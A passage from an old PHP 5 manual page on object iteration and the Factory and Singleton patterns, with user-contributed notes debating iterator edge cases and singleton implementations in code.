   public $aryvars = array();

   function __construct() {}

   function __get($key)
   {
       return array_key_exists($key, $this->aryvars) ?
               $this->aryvars[$key] : null;
   }

   function __isset($key) {
       if (!$isset = isset($this->$key)) {
           $isset = array_key_exists($key, $this->aryvars);
       }
       return $isset;
   }

   function __set($key, $value)
   {
       $this->aryvars[$key] = $value;
   }
}

echo '<pre>';
$foo = new foo();
$foo->a = 'test';
echo '$foo->a == ' . $foo->a . "\n";
echo 'isset($foo->a) == ' . (int) isset($foo->a) . "\n";
echo 'isset($foo->aryvars[\'a\']) == ' . isset($foo->aryvars['a']) . "\n";
echo '$foo->__isset(\'a\') == ' . $foo->__isset('a') . "\n";
var_dump($foo);

?>
add a note add a note

后退 | 起点 | 前进
Object Interfaces | 上一级 | Object Iteration


Object Iteration

PHP 5 provides a way for objects to be defined so it is possible to iterate through a list of items, with, for example a foreach statement. By default, all visible properties will be used for the iteration.

例子 19-20. Simple Object Iteration

<?php
class MyClass
{
    public $var1 = 'value 1';
    public $var2 = 'value 2';
    public $var3 = 'value 3';

    protected $protected = 'protected var';
    private   $private   = 'private var';

    function iterateVisible() {
       echo "MyClass::iterateVisible:\n";
       foreach($this as $key => $value) {
           print "$key => $value\n";
       }
    }
}

$class = new MyClass();

foreach($class as $key => $value) {
    print "$key => $value\n";
}
echo "\n";

$class->iterateVisible();

?>

上例将输出：

var1 => value 1
var2 => value 2
var3 => value 3

MyClass::iterateVisible:
var1 => value 1
var2 => value 2
var3 => value 3
protected => protected var
private => private var

As the output shows, the foreach iterated through all visible variables that can be accessed. To take it a step further you can implement one of PHP 5's internal interface named Iterator. This allows the object to decide what and how the object will be iterated.

例子 19-21. Object Iteration implementing Iterator

<?php
class MyIterator implements Iterator
{
    private $var = array();

    public function __construct($array)
    {
        if (is_array($array)) {
            $this->var = $array;
        }
    }

    public function rewind() {
        echo "rewinding\n";
        reset($this->var);
    }

    public function current() {
        $var = current($this->var);
        echo "current: $var\n";
        return $var;
    }

    public function key() {
        $var = key($this->var);
        echo "key: $var\n";
        return $var;
    }

    public function next() {
        $var = next($this->var);
        echo "next: $var\n";
        return $var;
    }

    public function valid() {
        $var = $this->current() !== false;
        echo "valid: {$var}\n";
        return $var;
    }
}

$values = array(1,2,3);
$it = new MyIterator($values);

foreach ($it as $a => $b) {
    print "$a: $b\n";
}
?>

上例将输出：

rewinding
current: 1
valid: 1
current: 1
key: 0
0: 1
next: 2
current: 2
valid: 1
current: 2
key: 1
1: 2
next: 3
current: 3
valid: 1
current: 3
key: 2
2: 3
next:
current:
valid:

You can also define your class so that it doesn't have to define all the Iterator functions by simply implementing the PHP 5 IteratorAggregate interface.

例子 19-22. Object Iteration implementing IteratorAggregate

<?php
class MyCollection implements IteratorAggregate
{
    private $items = array();
    private $count = 0;

    // Required definition of interface IteratorAggregate
    public function getIterator() {
        return new MyIterator($this->items);
    }

    public function add($value) {
        $this->items[$this->count++] = $value;
    }
}

$coll = new MyCollection();
$coll->add('value 1');
$coll->add('value 2');
$coll->add('value 3');

foreach ($coll as $key => $val) {
    echo "key/value: [$key -> $val]\n\n";
}
?>

上例将输出：

rewinding
current: value 1
valid: 1
current: value 1
key: 0
key/value: [0 -> value 1]

next: value 2
current: value 2
valid: 1
current: value 2
key: 1
key/value: [1 -> value 2]

next: value 3
current: value 3
valid: 1
current: value 3
key: 2
key/value: [2 -> value 3]

next:
current:
valid:

注: For more examples of iterators, see the SPL Extension.

add a note add a note User Contributed Notes
chad 0x40 herballure 0x2e com
05-May-2006 09:46
The example code given for valid() will break if the array contains a FALSE value. This code prints out a single "bool(true)" and exits the loop when it gets to the FALSE:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(current($A) !== FALSE) {
  var_dump(current($A));
  next($A);
}
?>

Instead, the key() function should be used, since it returns NULL only at the end of the array. This code displays all four elements and then exits:

<?php
$A = array(TRUE, FALSE, TRUE, TRUE);
while(!is_null(key($A))) {
  var_dump(current($A));
  next($A);
}
?>
mortanon at gmail dot com
14-Oct-2005 11:06
Hier is an example for a CSV Iterator.

<?php
class CsvIterator implements Iterator
{
   const ROW_SIZE = 4096;
   /**
     * The pointer to the cvs file.
     * @var resource
     * @access private
     */
   private $filePointer = null;
   /**
     * The current element, which will
     * be returned on each iteration.
     * @var array
     * @access private
     */
   private $currentElement = null;
   /**
     * The row counter.
     * @var int
     * @access private
     */
   private $rowCounter = null;
   /**
     * The delimiter for the csv file.
     * @var str
     * @access private
     */
   private $delimiter = null;

   /**
     * This is the constructor.It try to set the delimiter
     * and open the csv file.The method throws an exception
     * on failure.
     *
     * @access public
     * @param str $file The csv file.
     * @param str $delimiter The delimiter.
     *
     * @throws Exception
     */
   public function __construct($file, $delimiter=',')
   {
       try {
           $this->filePointer = fopen($file, 'r');
           $this->delimiter = $delimiter;
       }
       catch (Exception $e) {
           throw new Exception('The file "'.$file.'" cannot be read.');
       }
   }

   /**
     * This method resets the file pointer.
     *
     * @access public
     */
   public function rewind() {
       $this->rowCounter = 0;
       rewind($this->filePointer);
   }

   /**
     * This method returns the current csv row as a 2 dimensional array
     *
     * @access public
     * @return array The current csv row as a 2 dimensional array
     */
   public function current() {
       $this->currentElement = fgetcsv($this->filePointer, self::ROW_SIZE, $this->delimiter);
       $this->rowCounter++;
       return $this->currentElement;
   }

   /**
     * This method returns the current row number.
     *
     * @access public
     * @return int The current row number
     */
   public function key() {
       return $this->rowCounter;
   }

   /**
     * This method checks if the end of file is reached.
     *
     * @access public
     * @return boolean Returns true on EOF reached, false otherwise.
     */
   public function next() {
       return !feof($this->filePointer);
   }

   /**
     * This method checks if the next row is a valid row.
     *
     * @access public
     * @return boolean If the next row is a valid row.
     */
   public function valid() {
       if (!$this->next()) {
           fclose($this->filePointer);
           return false;
       }
       return true;
   }
}
?>

Usage :

<?php
$csvIterator = new CsvIterator('/path/to/csvfile.csv');
foreach ($csvIterator as $row => $data) {
   // do somthing with $data
}
?>
markushe at web dot de
07-Aug-2005 02:05
Just something i noticed:
It seems, that when you are implementing the interface Iterator, yout method key() has to return a string or integer.

I was trying to return a object an got this error:
Illegal type returned from MyClass::key()
just_somedood at yahoo dot com
28-Jun-2005 03:20
To clarify on php at moechofe's post, you CAN use the SPL to overide the array operator for a class.  This, with the new features of object, and autoloading (among a buch of other things) has me completely sold on PHP5.  You can also find this information on the SPL portion of the manual, but I'll post it here as well so it isn't passed up.  The below Collection class will let you use the class as an array, while also using the foreach iterator:

<?php

class Collection implements ArrayAccess,IteratorAggregate
{
   public $objectArray = Array();
   //**these are the required iterator functions
   function offsetExists($offset)
   {
       if(isset($this->objectArray[$offset]))  return TRUE;
       else return FALSE;
   }

   function & offsetGet($offset)
   {
       if ($this->offsetExists($offset))  return $this->objectArray[$offset];
       else return (false);
   }

   function offsetSet($offset, $value)
   {
       if ($offset)  $this->objectArray[$offset] = $value;
       else  $this->objectArray[] = $value;
   }

   function offsetUnset($offset)
   {
       unset ($this->objectArray[$offset]);
   }

   function & getIterator()
   {
       return new ArrayIterator($this->objectArray);
   }
   //**end required iterator functions

   public function doSomething()
   {
       echo "I'm doing something";
   }
}

?>

I LOVE the new SPL stuff in PHP!  An example of usage is below:

<?php
class Contact
{
   protected $name = NULL;

   public function set_name($name)
   {
       $this->name = $name;
   }

   public function get_name()
   {
       return ($this->name);
   }
}

$bob = new Collection();
$bob->doSomething();
$bob[] = new Contact();
$bob[5] = new Contact();
$bob[0]->set_name("Superman");
$bob[5]->set_name("a name of a guy");

foreach ($bob as $aContact)
{
     echo $aContact->get_name() . "\r\n";
}
?>

Would work just fine.  This makes code so much simpler and easy to follow, it's great.  This is exactly the direction I had hoped PHP5 was going!
PrzemekG_ at poczta dot onet dot pl
27-May-2005 07:20
If you want to do someting like this:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>
you must return values by reference in your iterator object:
<?php
class MyObject implements Iterator
{
/* ...... other iterator functions ...... */
/* return by reference */
public function &current()
{
   return $something;
}
?>

This won't change values:
<?php
foreach($MyObject as $key => $value)
   $value = 'new '.$value;
?>

This will change values:
<?php
foreach($MyObject as $key => &$value)
   $value = 'new '.$value;
?>

I think this should be written somewhere in the documentations, but I couldn't find it.
elias at need dot spam
11-Apr-2005 06:15
The MyIterator::valid() method above ist bad, because it
breaks on entries with 0 or empty strings, use key() instead:

<?php
public function valid()
{
   return ! is_null(key($this->var));
}
?>

read about current() drawbacks:
http://php.net/current
strrev('ed.relpmeur@ekneos');
02-Mar-2005 06:25
Use the SPL ArrayAccess interface to call an object as array:

http://www.php.net/~helly/php/ext/spl/interfaceArrayAccess.html
phpnet at nicecupofteaandasitdown dot com
23-Feb-2005 12:09
You should be prepared for your iterator's current method to be called before its next method is ever called. This certainly happens in a foreach loop. If your means of finding the next item is expensive you might want to use something like this

private $item;

function next() {
   $this->item = &$this->getNextItem();
   return $this->item;
}

public function current() {
     if(!isset($this->item)) $this->next();
   return $this->item;
}
knj at aider dot dk
19-Dec-2004 11:19
if you in a string define classes that implements IteratorAggregate.
you cant use the default;
<?
...
public function getIterator() {
       return new MyIterator($this-><What ever>);
}
..
?>
at least not if you want to use eval(<The string>).
You have to use:
<?
...
public function getIterator() {
     $arrayObj=new ArrayObject($this-><What ever>);
     return $arrayObj->getIterator();
}
...
?>
php at moechofe dot com
13-Dec-2004 07:27
<?php

class MyIterator implements Iterator {

  private $var = array();

  public function __construct() {
   $this->var = array( 1,2,3,4 ); }

  public function rewind() { reset($this->var); }
  public function current() { return current($this->var); }
  public function key() { return key($this->var); }
  public function next() { return next($this->var); }
  public function valid() { return $this->current() !== false; }

  }

$it = new MyIterator();

// dont work :(
echo $it[0];

?>
add a note add a note

后退 | 起点 | 前进
Overloading | 上一级 | Patterns


Patterns

Patterns are ways to describe best practices and good designs. They show a flexible solution to common programming problems.

Factory

The Factory pattern allows for the instantiation of objects at runtime. It is called a Factory Pattern since it is responsible for "manufacturing" an object.

例子 19-23. Factory Method

<?php
class Example
{
    // The factory method
    public static function factory($type)
    {
        if (include_once 'Drivers/' . $type . '.php') {
            $classname = 'Driver_' . $type;
            return new $classname;
        } else {
            throw new Exception ('Driver not found');
        }
    }
}
?>

Defining this method in a class allows drivers to be loaded on the fly. If the Example class was a database abstraction class, loading a MySQL and SQLite driver could be done as follows:

<?php
// Load a MySQL Driver
$mysql = Example::factory('MySQL');

// Load a SQLite Driver
$sqlite = Example::factory('SQLite');
?>

Singleton

The Singleton pattern applies to situations in which there needs to be a single instance of a class. The most common example of this is a database connection. Implementing this pattern allows a programmer to make this single instance easily accessible by many other objects.

例子 19-24. Singleton Function

<?php
class Example
{
    // Hold an instance of the class
    private static $instance;

    // A private constructor; prevents direct creation of object
    private function __construct()
    {
        echo 'I am constructed';
    }

    // The singleton method
    public static function singleton()
    {
        if (!isset(self::$instance)) {
            $c = __CLASS__;
            self::$instance = new $c;
        }

        return self::$instance;
    }

    // Example method
    public function bark()
    {
        echo 'Woof!';
    }

    // Prevent users to clone the instance
    public function __clone()
    {
        trigger_error('Clone is not allowed.', E_USER_ERROR);
    }

}

?>

This allows a single instance of the Example class to be retrieved.

<?php
// This would fail because the constructor is private
$test = new Example;

// This will always retrieve a single instance of the class
$test = Example::singleton();
$test->bark();

// This will issue an E_USER_ERROR.
$test_clone = clone($test);

?>

add a note add a note User Contributed Notes
cortex at pressemicro dot net
03-Jun-2006 04:27
It's often forgotten, but a singleton class MUST be final. So it's useless to have a base class that implements the pattern and to inherit of it. That's why it's called a pattern and not a class library.

Here a little example that will show why.

<?php
class A {
// singleton pattern with getInstance static method
private $var; // A ressource variable
function __construct() {
   $this->var = "get a ressource that could only  be taken one time by process";
}
}

class B extends A {
// singleton pattern
function __construct() {
   parent::__construct();
}
}

$anA = A :: getInstance();
$aB = B :: getInstance(); // try to get a second ressource, :(

?>

When developping class A, you may have think to be the only one with a $var ressource, but it's completly wrong. As $aB is an A (Think that there is two A instanciate and one with more than just A), $anA and $aB will have a different ressource variable and thus two different database connection for eg.

You'd never know how will be used your code, so you need to make it strong. This is the way of poo thinking.
08-May-2006 01:55
I have founded an additional way to use singleton, which made the __CLASS__ define in this function unneeded. Just by using new self; Im not sure if this is reducing the parsetime.
<?php

class Example {
   private static $instance;

   public static function getInstance() {
       if (!isset (self::$instance)) {
           self::$instance = new self;
       }

       return self::$instance;
   }

   public function printString() {
       return "I need to be printed.";
   }
}

$foo = Example::getInstance();
print $foo->printString();

?>
lycboy at gmail dot com
29-Apr-2006 06:15
I don't agree to take a class with only static members and static methods as a 'singleton'. According to GoF's book, the singleton pattern means a class that only have one instance. A class containing only static members and functions still can be instantiated and extended, it have multiple instances. Consider the code below:
<?php

class StaticTest
{
   private static $_test = "aaa";

   public static function test()
   {
       echo self::$_test;
   }
}

$obj = new StaticTest();

?>
The code will not report errors(although it's useless). So there can be many instances of the class.

It's reasonable that there is a class that create and store a unique instance of another class. Such as:
<?php

class A
{
   private $_id = 0;
   public function getId()
   {
       return $this->_id;
   }
}

class B
{
   private static $_instance;

   public static function singleton()
   {
       if (!isset(self::$_instance)) {
           self::$instance = new A();
       }
       return self::$instance;
   }
}

?>
Here class B act as a guard to class A. But as same as the first section, it's useless too! Unless you can make sure that the users of your class will never find the class A, you shouldn't make the class you wanna to be unique can be instantiated many times.

So the best way to create a unique instance of a class is that the class save the unique instance itself. It is the core meaning of singleton pattern. Any information that mentioned here can be found in the book of GoF. I think it's worth reading the book.

BTW: It's allowed that there are a few of subclasses of a singleton class.
contact_us at haltebis dot com
19-Mar-2006 10:27
Here is my PHP5 Singleton only ("no getInstances()")

<?php
#file class.singleton.php
class singleton
{
   var $instance;

   function __construct()
   {
     static $instances=array();
     $class = get_class($this);
     if(!isset($instances[$class])) $instances[$class] = $this;
     foreach(get_class_vars($class) as $var => $value)
     {
         $this->$var = &$instances[$class]->$var;
     }
     $this->instance = &$instances[$class];
   }

   function __set($name,$value)
   {
       $this->$name = $value;
       if(!isset($this->instance->$name)) $this->instance->$name = &$this->$name;
   }

}
?>

And here is the SimpleTest unit that I use

<?php
#file test.singleton.php

class singleton_example extends singleton
{
   var $x;
   var $y;

   function __construct()
   {
     parent::__construct();
   }
}

class singleton_example2 extends singleton
{
   var $x;
   var $y;

   function __construct()
   {
     parent::__construct();
   }
}

class TestOfSingleton extends UnitTestCase
{
   function TestOfSingleton()
   {
     $this->UnitTestCase();
   }

   function testSet_and_Get1()
   {
     $test1 = new singleton_example();
     $test1->x = 'a';;
     $test1->y = 'b';

     $test2 = new singleton_example();
     $test2->x = 'c';
     $test2->y = 'd';
     $test2->z = 'e';

     $test3 = new singleton_example2();

     $this->assertEqual($test1->x,'c');
     $this->assertEqual($test1->y,'d');
     $this->assertEqual($test1->z,'e');

     $this->assertEqual($test3->x,null);
     $this->assertEqual($test3->y,null);
   }
}
?>

Never failed me until now
jphp at dsf dot org dot uk
06-Feb-2006 06:36
Aya:

Yes, the example as it stands is pretty useless, and a static method achieves the same result much more easily.  But with a more complicated system, say you have two different ways of doing "bark":

<?php
   class Example1 {
     // singleton implementation boilerplate goes here
     public function bark() { echo "Woof"; }
   }

   class Example2 {
     // singleton implementation boilerplate goes here
     public function bark() { echo "Yap"; }
   }

  if (/* some condition */)
   $method = Example1::singleton();
  else
   $method = Example2::singleton();

  for ($i = 0; $i < 10; $i++) $method->bark();
?>
vsviridov at exceede dot com
30-Jan-2006 12:39
Singleton is a very useful pattern if you need multiple instances of different classes to use only one unique instance of common class. It's not just about having static methods.

e.g. Your database connection class probably should be a singleton, in order to spare all redundant connect calls, etc...
aya at eh dot org
01-Dec-2005 07:05
Personally I find the aforementioned 'singleton pattern' pointless in many cases, since a class containing only static members and functions is already a 'singleton'. The code in 'Example 19-25' above could simply read:

<?php

   class Example
   {
       // Example method
       public static function bark()
       {
           echo 'Woof!';
       }
   }

   // Call 'singleton' method
   Example::bark();

?>
toomuchphp-phpman at yahoo dot com
27-Nov-2005 09:46
The principle of the Singleton pattern can easily be expanded to form [what I have dubbed as] the 'Unique' pattern - where a particular class may have several instances, each with a 'Unique ID'.  This can be useful when a single instance is required for each database record.

<?php

  // Each instance of 'Customer' represents one customer!
  class Customer {

     // Access a unique instance of class for a customer record
     public function Unique($CustomerID) {
       static $instances = array();

       // a unique instance for each CustomerID
       if(!isset($instances[$CustomerID]))
         $instances[$CustomerID] = new Customer($CustomerID);

       return $instances[$CustomerID];
     }

     private $CustomerID;

     private function __construct($CustomerID) {
       $this->CustomerID = $CustomerID;
     }
  }

  // get instance of class for customer #1
  $C1 = Customer::Unique(1);

  // get instance of class for customer #2
  $C2 = Customer::Unique(2);

?>
peetersdiet at gmail dot com
01-Nov-2005 09:02
As i reread my previous post i noticed 1 minor error. Namely that it is best to declare the singletonFactory()-method protected if u don't need to be able to use the method publicly. This way the implementation incorporates even better encapsulation.
peetersdiet at gmail dot com
31-Oct-2005 11:57
@ steffen at morkland dot com:

Interesting problem and u are right about always having to put the non-public constructor and public singleton-method in the classes that need to be singletons. U are also right about an interface not being able to declare a constructor private or protected.

Why not store all singletons in a static variable of a common parent class and make singleton-capability available to all childclasses? We can accomplish this by adding a hybrid singletonFactory()-method in that parent class and make the constructor of the childclass protected to enforce the singleton-pattern. At this moment all childclasses can be a singleton! Not to robust.

U can have childclasses implement the Singleton-interface as specified in ur post so classes can be tested on implementing this interface. If u always implement the interface on ur singleton-classes u can add a test to the singletonFactory()-method to check whether the class u are about to instantiate does implement the Singleton-interface. Together with the enforced prototyping of the singleton()-method this provides a more foolproof usage of the singleton-pattern.

The singleton code is implemented in the parent so no rewriting of the code is necessary, thus avoiding programmer mistakes in the childclasses and keeping the code cleaner to the eye. The only methods the childclass needs are a protected constructor to avoid direct instantiation and a wrapping singleton()-method.

<?php
// As stated by steffen we can't restrict visibility of the constructor in an interface
interface Singleton {
   public static function singleton();
}

// Parent class:
// U can define these methods at the highest level so the singleton-functionality
// is available to all objects, but it works at all levels of an object hierarchy.
class ParentClass {
   private static $childSingletons = array();  // store singletons for each childclass

   public static function singletonFactory($class='')
   {
       if (!isset(self::$childSingletons[$class])) {  // singleton not loaded?
           if (include_once($class.'.php')) {  // classfile included?
               $thisClass = __CLASS__;
               $object = new $class;
               if ($object instanceof $thisClass) { // class is childclass? (so we can access the protected constructor)
                   $classImplements = class_implements($object);
                   if (isset($classImplements['Singleton'])) {  // class implements Singleton?
                       self::$childSingletons[$class] = new $class;
                   } else {
                       throw new Exception ('Class \''.$class.'\' does not implement interface Singleton');
                   }
               } else {
                   throw new Exception ('Unknown class \''.$class.'\'');
               }
           } else {
               throw new Exception ('Class \''.$class.'\' not found');
           }
       }
       return self::$childSingletons[$class];
   }
}

// Child class:
// 1. Define the constructor as protected.
// 2. Implement interface Singleton ...
//      ... to enforce prototype of singleton()
//      ... to be able to dynamically identify the class as a singleton.
// 3. Define the singleton()-method acting as a wrapper for the parent's singletonFactory()-method.
class ChildClass extends ParentClass implements Singleton{
   protected function __construct() {}

   public static function singleton() {
       return parent::singletonFactory(__CLASS__);
   }
}

// public usage
$singleton = ChildClass::singleton();
?>

If u prefer more loose programming u can leave the Singleton interface out of the picture alltogether and create your childsingletons directly with the singletonFactory()-method. This approach only needs the protected constructor(), no singleton()-method. I know this approach allows all the childclasses to be treated as singletons. In my opinion this is not a problem, but the lack of robustness and absence of dynamic testability is. ;)
steffen at morkland dot com
11-Oct-2005 10:47
Regarding the singleton pattern, you have to create the function for every singleton class you want to have, because settting a variable static will set the variable on all instances of the class, and second of all, by extending a singleton class, you are breaking rule No #1 of the singleton pattern. an instance of a given type may only excist ONCE, by extending the singleton class you have multiple instances of the singleton class, and by is sharing the static $instance variable.

on thing could be done though, to make sure a programmer does not make any mistakes when creating singleton classes, an interface could be made, to make sure the singleton class is correctly defined.

it could look something like this:

<?php
interface singleton {
   public static function getInstance();
}
?>

however, this interface does NOT force the programmer to make the constructor private, and don't even bother to try, it would just result in a error.

sorry to say it guys, there are no easy way around this one. not even a factory class can do the job for you since, the constructor must be private, to ensure that only one instance excists.
axon dot wp a at t wp dot pl
06-Oct-2005 12:25
Short version of Singleton:
<?php
public function __clone()
   {
       trigger_error('Clone is not allowed.', E_USER_ERROR);
   }
?>

is :
<?php private function __clone() {} ?>
rashkatsa
30-Sep-2005 08:03
Hi there,

As Singleton patterns are used for years in Java, today we tend toward overriding 'new' operator (as singleton returns always the same instance for every 'new' that you call...). In order to do this, we use IoC (http://www.martinfowler.com/articles/injection.html). With lightweight container, you delegate the 'new' to a specific factory which decides if it has to return a new instance on each call or always the same instance. You homogenize your code as you don't have "new MyClass()" and "MyClass2::getInstance()" but always the same call : Component::get(MyClass) and Component::get(MyClass2). [PHP implementation hint : You can choose the parameter of the get method : class, classname, ...]. It's the component which decides if it has to return a new instance or not.

If you take a look at Java Spring framework (which use getBean(Class) method) or PicoContainer (which use getComponentInstance(Class) method - see 2 minutes tutorial on their site), you can configure the behavior for your class in an XML file (choosing that ClassA is a singleton and ClassB is not). With this configuration, you don't need to pollute your class code with _instance field but you just create a standard class (non invasive pattern).

when you would have a PHP generic component (class) factory, you can go further and build a complete PHP IoC (if it not already exists :)) and then the component factory injects dependencies itself (choose through constructors or mutators).

regards,

rashkatsa.
lukas dot starecek at centrum dot cz
17-Jul-2005 04:12
If you need singleton of any class and don't want write singleton wrapper for each this class, try this:

class UniverzalSingleton {

   const EXCEPTION_NO_CLASS = 1;

   protected static $_instances = array();

   public static function getInstance($class) {
       if (!isset(self::$_instances[$class])) {
           if (!class_exists($class))
               throw (new Exception(__CLASS__ . ': Requsted class is not exist.', self::EXCEPTION_NO_CLASS));
           self::$_instances[$class] = new $class();
       } // if
       return self::$_instances[$class];
   } // getInstance

} // class UniverzalSingleton
disappear dot nz at gmail dot com
08-Jul-2005 02:57
Hi ,

Singleton Patterns are excellent ,
I have created a singleton pattern that enables any class to be loaded from the one modular singleton library.

<?php

   class singleton
   {
       private static $o_instance = NULL ;

       public static function call_singleton ( $s_class )
       {
           if ( class_exists ( $s_class ) )
           {
               if ( self :: $o_instance === NULL )
               {
                   self :: $o_instance = new $s_class ;
               }
           }
           return self :: $o_instance ;
       }
   }

?>
php at mijav dot dk
08-Jul-2005 12:46
Please use design patterns as they were intended:

Design patterns are designs that are known to solve common problems, such as having only 1 instance of a class. Design patterns are are not code libraries.
Most design patterns, if not all, have alternate implementations but common to them all is that the recommended implementation solves the problem.

Singleton should not be made as a class and then extended. Nor shuld __autoload be used.
Autoloading is very PHP-specific (and there might be nothing wrong with that, but design patterns are general patterns that are abstracted from the implementing language).
Making a class that you extend is very ugly. What if you have to extend that class too? You will have to make a dummy that extends your singleton class, just so you can extend the class you want. This is a very "ugly" solution that completely overrules the idea of well known design patters: A thought-though idea that works the way intended.

The manual shows a PHP implementation of the standard Singleton-pattern without "nifty" modifications.

To finish off this lesson on design patterns, I would like to ackknowledge that there is nothing wrong in tweaking patterns to suit your needs.
But remember: "If it isn't broken - don't fix it".
03-Jul-2005 02:28
Here's an effective strategy for creating singletons.

1.) define an __autoload() function

2.) Define all properties of a class to be static

3.) Make the constructor private.

Now, anywhere in your code, you can simply do as follows:

Class::Function();

The __autoload() function will take care of loading the class.

It's even better when you use the auto_prepend directive to define __autoload(). Now you can create a php script which looks like this:

<?php
TemplateSystem::Start();
echo 'This is just a test!';
TemplateSystem::Stop();
?>

Now you've effectively got a 2-line solution to all templating issues, the templates will be available to every script, and the only additional overhead that you'll have for scripts that don't use the templating system is a 3-line autoload function!

Obviously, there's still a problem with __autoload() if you are attempting to write a templating system that has to work with someone else's software that also defines __autoload(). The best advice I can give here is to remove one of the __autoload()'s and modify the other to work with both.
traxer ad gmx.net
03-Jun-2005 06:29
In response to Richard Quadling's response to Scott Mattock's response to Jimmy Paterson ...

The singleton pattern is a /pattern/, not a class. There is no way to move the whole functionality of 'being a singleton' into a common base class, it was not intended that way. There is no point in adding features to derived classes, other than for internal use, either. Furthermore, when I derive two classes from Singleton, the singleton is not really a singleton anymore. Considering this, I think your implementation of Singleton and SubClass (i.e your correction to Scott Mattock's) is the one that most closely matches the intention of GOF. You can allow sublasses of SubClass, though:

<?php
class Singleton {
   private static $instance;
   public static function singleton($class = __CLASS__) {
       if (!isset(self::$instance))
           self::$instance = new $classname;
       return self::$instance;
   }
}
class SubClass extends Singleton {
   public static function singleton($class = __CLASS__) {
       return parent::singleton($class);
   }
}
class SubSubClass extends SubClass {
   public static function singleton($class = __CLASS__) {
       return parent::singleton($class);
   }
}
?>

This even works with php4 if you
1. move the Singleton::$instance into function Singleton::singleton,
2. get rid of the unsuported keywords and
3. rename the Singleton::singleton method (so as not to be a constructor).
So no real imporvement here, except for the added protection of not beeing able to create objects explicitly.
anon at anon dot org
24-May-2005 04:02
After programming a number of real world applications with PHP, I found that this version of the singleton doesn't really resemble other singleton patterns, but is the only one I've ended up using and it works great.

<?php

class User {
   /* .. your code, nothing specific matters in the class .. */
}

function user(){
   static $user;
   if(!isset($user))
       $user = new User();
   return $user;
}

//creates the user object then calls a method on it
user()->doSomething();

//calls a method on the same object
user()->doSomethingElse();

?>

Note that it is *possible* to create multiple instances of User, but in your API docs, or when you tell people how to use the class just say you are supposed to refer to it only via the user() function, and then there should be no reason to enforce it in your code any other way.

Also note that this syntax is only possible in PHP 5 because of the object / function dereferencing feature.  user()->someMethod(); will throw a fatal error in 4.x
dmnEe0 at gmail dot com
15-May-2005 05:13
I struggled a few hours on writing a simple Generic factory method for dynamic object factoring. I initially went for call_user_func_array() to create the object but that obviously didn't work. An anonymous function was what I needed. Here's the result (PHP5):

<?php
/**
 *    Name:    Factory
 *    Author:    Ezku
 *    Contact:    dmnEe0 at gmail dot com
 */
class Factory
{
   /**
     * Generic factory method
     * @param string    Path to class definition
     * @param string    Basic class name
     * @param string    Derived class name
     * @param array    Class constructor arguments, optional
     */
   public static function Generic($filename, $base, $derived, $args = array())
   {
       /**
         * Check that the file exists
         */
       if(file_exists($filename))
       {
           include_once $filename;
           /**
             * Check that the file contained the appropriate class definition
             */
           if(class_exists($derived))
           {
               /**
                 * Create argument list for constructor
                 */
               $arglist = array();
               for($i = 0, $n = count($args); $i < $n; $i++)
                   $arglist[] = '$args['.$i.']';
               $arglist = implode(',',$arglist);

               /**
                 * Create new instance via an anonymous function
                 */
               $new_class = create_function('$name, $args', 'return new $name('.$arglist.');');
               return $new_class($derived, $args);
           }
           else
               throw new Exception("Definition file ($filename) did not contain definition for the $base class <code>$derived</code>");
       }
       else
           throw new Exception("Definition file ($filename) for the $base class <code>$derived</code> was not found");
   }
}

/**
 * Useless usage example:
 */
function createCat($name, $scary_eyes = FALSE, $whiskers = TRUE)
{
   $path = PATH_ANIMALS.'/'.$name.'.php';
   $base = 'Cat';
   $derived = $name.$base;
   $args = array($scary_eyes, $whiskers);
   return Factory::Generic($path, $base, $derived, $args);
}

// Create a MeowCat with scary eyes and whiskers
$cat = createCat('Meow', TRUE);
// Do whatever
?>
richard dot quadling at bandvulc dot co dot uk
19-Apr-2005 08:29
Singletons and subclasses will fail because __construct has to be public SOMEWHERE in the base class and cannot be hidden in sub classes. Even if the base class is an abstract class (which helps a little).

You can get abstract base class and singleton sub class working fine EXCEPT that you can create an instance of the subclass if you use new class(); rather than class::singleton();

So. After many hours of trial and error, no mixing of singletons and subclasses.
richard dot quadling at bandvulc dot co dot uk
19-Apr-2005 03:39
Further to my note. If you think I called the wrong method in the last line of code ...

$subclass2Instance->TellMe();

Notice I am using the SECOND subclass but a method from the FIRST subclass. This should be the clue to see that multiple subclasses of a base singleton class don't work.

If you try to call ...

$subclass2Instance->TellMeMore();

you get, as expected, a fatal error ...

Fatal error: Call to undefined method SubClass::TellMeMore()

Hope that clarifies things.
richard dot quadling at bandvulc dot co dot uk
18-Apr-2005 11:06
In response to Scott Mattocks response to Jimmy Paterson ...

You cannot mix singletons and subclasses securely.

Why?

The standard way of creating a singleton is with the method ...

   // Hold an instance of the class
   private static $instance;

   // The singleton method
   public static function singleton()
   {
       if (!isset(self::$instance)) {
           $c = __CLASS__;
           self::$instance = new $c;
       }

       return self::$instance;
   }

This returns either the previously created instance or a new instance of this class.

As the constructor is private (which inhibits the manual creation of the class), you cannot alter the value of $c in the example above by passing it to the function, as suggested by Scott Mattocks.

Why? __construct() is private!!!!

self::$instance = new $c;

where $c is NOT Singleton will result in a fatal error ...

Fatal error: Call to private Singleton::__construct().

You have to have __construct() as private, otherwise you can create multiple instances of the singleton, explicit contra the reason for the pattern to start with.

Now. Say you do make the __construct() protected (can only be called from this class or subclasses), then you MAY have a little more success.

But not much ...

<?php

class Singleton
{
  // Hold an instance of the class
  private static $instance;

  // A private constructor; prevents direct creation of object
  protected function __construct()
  {
     echo 'I am constructed';
  }
  // The singleton method
  public static function singleton($classname = __CLASS__)
  {
     if (!isset(self::$instance)) {
         self::$instance = new $classname;
     }
     return self::$instance;
  }
}
class SubClass extends Singleton {
   public static function singleton()
   {
       return parent::singleton(__CLASS__); // NOTE The singleton method MUST return an instance.
   }
   public function TellMe()
   {
       echo 'You are in here.';
   }
}

$subclassInstance = SubClass::singleton();
$subclassInstance->TellMe();
?>

gives you ...

I am constructedYou are in here.

But you are not going to be able to extend this to more than 1 subclass as the singleton exists for the base class ...

<?php

class Singleton
{
  // Hold an instance of the class
  private static $instance;

  // A private constructor; prevents direct creation of object
  protected function __construct()
  {
     echo 'I am constructed';
  }
  // The singleton method
  public static function singleton($classname = __CLASS__)
  {
     if (!isset(self::$instance)) {
         self::$instance = new $classname;
     }
     return self::$instance;
  }
}
class SubClass extends Singleton {
   public static function singleton()
   {
       return parent::singleton(__CLASS__); // NOTE The singleton method MUST return an instance.
   }
   public function TellMe()
   {
       echo 'You are in here.';
   }
}

class SubClass2 extends Singleton {
   public static function singleton()
   {
